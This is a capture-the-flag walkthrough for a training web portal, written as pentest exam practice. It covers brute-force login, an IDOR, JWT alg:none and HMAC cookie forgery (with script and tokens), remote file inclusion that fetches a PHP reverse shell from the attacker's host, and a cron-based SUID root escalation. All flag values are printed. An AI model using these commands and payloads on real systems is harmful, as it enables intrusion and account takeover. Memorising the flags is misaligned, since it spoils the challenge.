Domino CTF
Table of Contents
Description
The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.
As an attacker, your objective is to observe how the application behaves, interact with its endpoints, and identify weak trust boundaries. By analysing requests, modifying parameters, and chaining vulnerabilities together, you can progressively escalate your access and move deeper into the system.
Related: Command Injection
CTF
Enumeration
Port scan
nmap -sV -sC --open -T4 $IP
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: NexusCorp Portal
Directory search
ffuf -u http://$IP/FUZZ -w /usr/share/wordlists/dirb/common.txt
admin [Status: 301] api [Status: 301] backup [Status: 301] index.php [Status: 200] javascript [Status: 301] static [Status: 301] support [Status: 301]
Findings:
/backupcontainsconfig.encplus a readme stating the decryption key lives inapp.js- Decrypting
config.encreveals adevopssystem user (credentials recovered later, see Devops access below)
Foothold
Login bruteforce
hydra -l robert.wilson -P /usr/share/wordlists/rockyou.txt.gz $IP http-post-form \ "/index.php:username=^USER^&password=^PASS^:Invalid credentials"
[80][http-post-form] host: 10.129.151.130 login: robert.wilson password: password
Session token (dead end)
eyJ1c2VyX2lkIjo0LCJ1c2VybmFtZSI6InJvYmVydC53aWxzb24iLCJyb2xlIjoidXNlciJ9.06633788837d4525fc57614def8718cf061a8374b95120eb93aedfd74eb4cee3
Decoded payload:
{
"user_id": 4,
"username": "robert.wilson",
"role": "user"
}
Not the intended path for this room. Deprioritised in favour of the JWT flow below — later confirmed relevant after all, since the cookie format and signing scheme reappear in the admin-access forgery step.
JWT auth endpoint
- Endpoint:
/api/auth/token.phpissues a JWT for authenticated sessions - Protected resource:
/api/files.php?name= Sample token issued for
robert.wilson:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJyb2JlcnQud2lsc29uIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3ODM3OTIxNDMsImV4cCI6MTc4Mzc5NTc0M30.ei1DZqXz6I2kduuQ88ISeiCSqQJStwRkSAYtltKnwso
Privilege Escalation
DONE IDOR on profile endpoint
- Endpoint:
/api/profile?id={id} - No ownership check on
idparameter — horizontal access control failure - Incrementing/changing
idexposes other users' profile data, including the admin account - Flag captured in admin's profile notes
DONE Admin access via JWT alg:none forgery + cookie forgery
Source review via the LFI primitive on /api/files.php (see Remote Code Execution below for the underlying file-read bug) recovered index.php, config.php, and auth.php. These revealed two independent bugs:
verify_jwt()inauth.phphas its signature check commented out — any JWT is accepted as long as it parses and has not expired. This allows forging a token with an arbitraryroleclaim usingalg: none.- The
nexus_sessioncookie isbase64(json).hmac_sha256(base64_json, APP_SECRET), andAPP_SECRETis a hardcoded value recovered fromconfig.php(nexus_app_k3y_2024). Cookie role values are actually ignored server-side byget_session()(role is re-fetched from the DB byuser_id), so the real escalation vector is forginguser_idto1(the master admin account) rather than forging the role claim itself.
Forged JWT (alg: none, role forced to admin, used against the admin-gated files.php endpoint):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJyb2JlcnQud2lsc29uIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzgzNzkyMTQzLCJleHAiOjE3ODM3OTU3NDN9.
curl 'http://domino.thm/api/files.php?name=/var/www/html/index.php' \ -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJyb2JlcnQud2lsc29uIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzgzNzkyMTQzLCJleHAiOjE3ODM3OTU3NDN9.'
Forged nexus_session cookie to become laura.hayes (userid 1, the admin account), using the recovered APP_SECRET:
import base64 import hmac import hashlib import json # Target user_id 1 — the master admin account SECRET_KEY = b"nexus_app_k3y_2024" user_payload = { "user_id": 1, "username": "laura.hayes", "role": "admin" } json_str = json.dumps(user_payload, separators=(',', ':')) base64_payload = base64.b64encode(json_str.encode()).decode() signature = hmac.new(SECRET_KEY, base64_payload.encode(), hashlib.sha256).hexdigest() forged_cookie = f"{base64_payload}.{signature}" print("[+] Generated Forged Session Cookie:") print(forged_cookie)
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImxhdXJhLmhheWVzIiwicm9sZSI6ImFkbWluIn0=.179723f1fbd3331a8f6cc790ebd2adfbff9fda87f2d4e4190ee0169eaf811025
Swapped nexus_session cookie value in browser dev tools and refreshed — authenticated as laura.hayes (admin). Admin panel flag captured.
DONE Remote code execution
- Target:
/api/files.php?name= - Source (recovered via the file-read bug on itself) shows a remote file inclusion path: if
namestarts withhttp://orhttps://, the endpoint fetches the URL and evals the response as PHP (allow_url_fopenenabled). Local path traversal is separately blocked viarealpath()validation against/var/www/html/, but this check is bypassed entirely by the RFI branch since it never reaches the traversal check.
curl 'http://domino.thm/api/files.php?name=/var/www/html/api/files.php' \ -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJyb2JlcnQud2lsc29uIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzgzNzkyMTQzLCJleHAiOjE3ODM3OTU3NDN9.'
Payload hosted locally and fetched via the RFI branch:
# attack machine python3 -m http.server 8000 # revshell.php sourced from revshells.com (PHP reverse shell) curl 'http://domino.thm/api/files.php?name=http://192.168.146.137:8000/revshell.php' \ -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJyb2JlcnQud2lsc29uIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzgzNzkyMTQzLCJleHAiOjE3ODM3OTU3NDN9.'
Reverse shell received. Flag read from /opt/flag3.txt.
DONE Devops user access
devopssystem user identified duringconfig.encdecryption- DB credential recovered from
config.php(D3v0ps!2024) reused as thedevopssystem password su devopssucceeded with that password (credential reuse across DB and OS accounts)- Flag read from
devopshome directory (user.txt)
DONE Privilege escalation to root
Enumerated running processes with pspy64 and identified a cron job executing /opt/monitoring/health_report.sh every few minutes, writable by the devops user.
echo 'chmod +s /bin/bash' >> /opt/monitoring/health_report.sh # wait for next cron execution ls -lah /bin/bash # SUID bit set once cron fires bash -p
Root flag read from /root/root.txt.
Unresolved / follow-up
Stored XSS on support ticket form (confirmed not exploitable)
http://domino.thm/support/create.php executes injected payloads
(onload callback confirmed firing), but document.cookie is not
retrievable — cookie length probe and blacklist-bypass variants
tested, no cookie data received in any case.
Cross-referenced against other public writeups for this room: no completed writeup demonstrates successful cookie exfiltration via this vector either. Likely one of:
- admin "review" is a headless/simulated process without a real authenticated session bound to that render context
- cookie is scoped to a domain/path not reachable from the ticket view's origin
Conclusion: XSS execution confirmed, but not a viable path to session hijack in this room. Documented as attempted finding rather than pursued further — full admin compromise already achieved via JWT alg:none + cookie forgery (see above).
Flags
| Flag | Value | Status |
|---|---|---|
| Admin profile notes (IDOR) | THM{1d0rh0r1z0nt4l4cc3ssfl4g1} | DONE |
| Admin panel access | THM{bl1ndx55s3ss10nh1j4ckfl4g2} | DONE |
| Remote code execution | THM{rf12rc3f00th0ldfl4g3} | DONE |
| Devops home directory | THM{s5hcr3dr3u53l4t3r4lfl4g4} | DONE |
| Root flag | THM{pr1v3sccr0nr00tfl4g5} | DONE |
Findings Summary
| Finding | Classification | Severity |
|---|---|---|
/api/profile?id= lacks ownership check |
Broken Access Control (IDOR) | High |
| JWT signature verification disabled | Insecure Authentication Mechanism | Critical |
| Session cookie HMAC key hardcoded in source | Security Misconfiguration | Critical |
/api/files.php accepts a remote URL and evals the response as PHP |
Remote Code Execution | Critical |
| DB credential reused as OS account password | Using Components with Known Vulnerabilities / Credential Reuse | High |
| World-writable cron script invoked by root | Security Misconfiguration (Privilege Escalation) | Critical |
Notes
Room name ("Domino") reflects the intended chain structure — each bug alone is only a partial finding, but chaining them (IDOR -> source disclosure -> auth bypass -> RCE -> credential reuse -> cron privesc) gives full compromise. Good practice room for PT1 report structure: each stage above maps cleanly to a distinct exam classification, which is the habit this retake needs most.
Stored XSS track intentionally left open above rather than marked DONE/closed — it did not yield a working exploit, but the finding type is still real and worth documenting as attempted, matching how partial/failed leads should be reported for PT1 rather than omitted.